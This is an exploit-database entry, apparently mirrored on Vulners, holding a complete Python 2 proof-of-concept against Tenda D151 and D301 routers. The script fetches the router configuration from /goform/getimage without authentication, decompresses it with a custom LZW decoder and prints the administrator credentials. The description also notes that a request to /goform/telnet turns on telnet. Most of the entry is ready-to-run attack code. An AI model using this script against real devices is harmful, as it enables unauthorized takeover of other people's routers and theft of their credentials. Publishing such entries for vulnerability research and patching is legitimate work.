Lucene search
K

Tenda D151 & D301 - Configuration Download (Unauthenticated)

🗓️ 21 Apr 2021 00:00:00Reported by BenChaliahType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 257 Views

Tenda D151 & D301 Configuration Download Unauthenticated Exploi

Code
# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated)
# Date: 19-04-2021
# Exploit Author: BenChaliah
# Author link: https://github.com/BenChaliah
# Vendor Homepage: https://www.tendacn.com
# Software Link: https://www.tendacn.com/us/download/detail-3331.html
# Versions:    
#   - D301 1.2.11.2_EN
#   - D301 V2.0 50.22.1.8_EN
#   - D151 V2.0 50.21.1.5_EN


# --- Description --- #

# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.

# --- Proof of concept --- #


import struct
import itertools
import random, sys
import requests
import base64



FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z"
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}

CLEAR_CODE = 256
END_OF_CODE = CLEAR_CODE + 1

MIN_WIDTH = 8
DEFAULT_MIN_BITS = MIN_WIDTH + 1
DEFAULT_MAX_BITS = 12




def cmsDecoder(compressed_cfg):
    _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
    _cp_dict[CLEAR_CODE] = CLEAR_CODE
    _cp_dict[END_OF_CODE] = END_OF_CODE
    prefix, offset, ignore = None, 0, 0
    codepoints_arr, remainder, bits = [], [], []

    init_csize = len(_cp_dict)

    codesize = init_csize
    minwidth = MIN_WIDTH
    while (1 << minwidth) < codesize:
        minwidth = minwidth + 1
    pointwidth = minwidth

    buts_arr = []
    for b in compressed_cfg:
        value = struct.unpack("B", b)[0]
        for bitplusone in range(8, 0, -1):
            bitindex = bitplusone - 1
            buts_arr.append(1 & (value >> bitindex))

    for nextbit in buts_arr:
        offset = (offset + 1) % 8
        if ignore > 0:
            ignore = ignore - 1
            continue
        bits.append(nextbit)
        if len(bits) == pointwidth:
            cp_int = 0
            lsb_first = [b for b in bits]
            lsb_first.reverse()
            for bit_index in range(len(lsb_first)):
                if lsb_first[bit_index]:
                    cp_int = cp_int | (1 << bit_index)

            bits = []
            codepoints_arr.append(cp_int)
            codesize = codesize + 1
            if cp_int in [CLEAR_CODE, END_OF_CODE]:
                codesize = init_csize
                pointwidth = minwidth
            else:
                while codesize >= (2 ** pointwidth):
                    pointwidth = pointwidth + 1
            if cp_int == END_OF_CODE:
                ignore = (8 - offset) % 8


    decodedBytes = []
    for cp_int in codepoints_arr:

        suffix = ""
        if cp_int == CLEAR_CODE:
            _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
            _cp_dict[CLEAR_CODE] = CLEAR_CODE
            _cp_dict[END_OF_CODE] = END_OF_CODE
            prefix = None

        elif cp_int != END_OF_CODE:
            if cp_int in _cp_dict:
                suffix = _cp_dict[cp_int]
                if None != prefix:
                    _cp_dict[len(_cp_dict)] = prefix + suffix[0]
            else:
                suffix = prefix + prefix[0]
                _cp_dict[len(_cp_dict)] = suffix
            prefix = suffix
        decoded = suffix
        for char in decoded:
            decodedBytes.append(char)
    return decodedBytes






def exploit(ip):
    print "[!] Downloading config"
    try:
        r = requests.get("http://{}/goform/getimage".format(ip))
        pass
    except:
        print "[-] Failed to download the config, the target may not be vulnerable"

    BIN_CONTENT = r.content
    BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]

    CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT))

    USER_, PASS_ = "", ""
    for i in ADMIN_LOG_CFG.keys():
        if i in CONFIG_XML:
            CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]
            PASS_ = CONFIG_XML[:CONFIG_XML.index('</')]
            USER_ = ADMIN_LOG_CFG[i]
            print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00'))
            return 0
    print "[-] Failed to decode the config file\n"
    return -1



if len(sys.argv) == 1:
    print "usage: python2 " + sys.argv[0] + " router_ip"
    print "example: python2 exploit.py http://192.168.1.1"
    exit()



if __name__ == "__main__":

    print """\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -- By BenCh@li@h
|   D _]/\ \  -- BenChaliah@github
 \___/ / /\ \\
      (_ )( _)
          
"""

    try:
        exploit(sys.argv[1])
    except Exception as e:
        print str(e)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 00:00Current
7.4High risk
Vulners AI Score7.4
257